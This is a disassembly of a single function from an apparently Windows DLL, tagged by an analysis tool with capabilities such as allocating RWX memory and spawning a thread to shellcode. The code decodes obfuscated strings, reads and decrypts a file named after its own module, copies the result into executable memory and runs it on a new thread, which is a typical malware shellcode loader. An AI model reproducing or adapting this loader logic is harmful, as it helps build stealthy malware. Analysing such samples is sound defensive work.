Function at 0x180001480
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
mov rax, qword [0x18001c010]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
mov rax, qword gs:[0x58]
movabs rdi, 0xcefa5f40e33401ef
mov ecx, dword [0x18001d0c0]
movabs rbx, 0x73992ce9d2cad0f4
mov r8d, 4
mov rdx, qword [rax + rcx*8]
mov eax, dword [r8 + rdx]
cmp dword [0x18001dd08], eax
jle 0x1800011ed
lea rcx, [0x18001dd08]
call fcn.1800017dc
cmp dword [0x18001dd08], 0xffffffff
jne 0x1800011ed
movabs rcx, 0x65730bf768f900be
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x58], rcx
movabs rax, 0x18d162aef9129c91
mov qword [rsp + 0x70], rax
movabs rax, 0xce945f32e3510184
mov qword [rsp + 0x40], rax
movabs rax, 0x73ab2cdad2a6d091
mov qword [rsp + 0x48], rax
movabs rax, 0x18bd62c2f9769cbf
mov qword [rsp + 0x50], rax
movdqa xmm1, xmmword [rsp + 0x50]
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x40]
pxor xmm1, xmmword [rsp + 0x70]
mov qword [rsp + 0x68], rbx
movdqa xmm0, xmmword [rsp + 0x60]
pxor xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rcx, [0x18001dd08]
mov qword [0x18001dd10], rax
call fcn.18000177c
cmp qword [0x18001dd10], 0
jne 0x180001201
mov eax, 0xffffffff
jmp 0x180001433
xor edx, edx
mov qword [rsp + 0x3c8], r14
mov r8d, 0x208
lea rcx, [rbp - 0x80]
call fcn.1800032f0
mov rcx, qword [0x18001dd00]
lea rdx, [rbp - 0x80]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [rax - 4]
add rdx, rdx
cmp rdx, 0x208
jae 0x180001457
xor r14d, r14d
mov word [rbp + rdx - 0x80], r14w
lea edx, [rax - 3]
add rdx, rdx
cmp rdx, 0x208
jae 0x180001457
lea ecx, [rax - 2]
mov word [rbp + rdx - 0x80], r14w
add rcx, rcx
cmp rcx, 0x208
jae 0x180001457
mov word [rbp + rcx - 0x80], r14w
lea ecx, [rax - 1]
add rcx, rcx
cmp rcx, 0x208
jae 0x180001457
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x60]
movabs rax, 0xce8e5f21e35001c1
mov word [rbp + rcx - 0x80], r14w
mov qword [rsp + 0x60], rax
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
movdqa xmm0, xmmword [rsp + 0x40]
pxor xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x3c0], rsi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor edx, edx
lea rcx, [rbp + 0x190]
mov r8d, 0x104
call fcn.1800032f0
mov qword [rsp + 0x38], r14
lea r8, [rbp - 0x80]
mov qword [rsp + 0x30], r14
mov r9d, 0x104
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov qword [rsp + 0x38], r14
lea r8, [rbp - 0x80]
mov qword [rsp + 0x30], r14
mov r9d, 0x104
mov dword [rsp + 0x28], eax
xor edx, edx
lea rax, [rbp + 0x190]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor edx, edx
lea rcx, [rbp + 0x190]
call fcn.180001010
mov rsi, rax
test rax, rax
je 0x180001421
lea r9d, [r14 + 4]
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x180001421
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.180001010
lea r9d, [r14 + 4]
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x180001421
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.1800051d0
mov eax, dword [rbx]
cmp eax, 0xa
jb 0x180001421
lea r9d, [r14 + 0x40]
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
mov esi, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x180001421
lea rdx, [rbx + 4]
mov r8d, esi
mov rcx, rax
call fcn.1800051d0
mov r9, rbx
mov qword [rsp + 0x28], r14
mov r8, rdi
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rsi, qword [rsp + 0x3c0]
xor eax, eax
mov r14, qword [rsp + 0x3c8]
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.1800015d0
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.180001a14
int3
jmp 0x1800010d0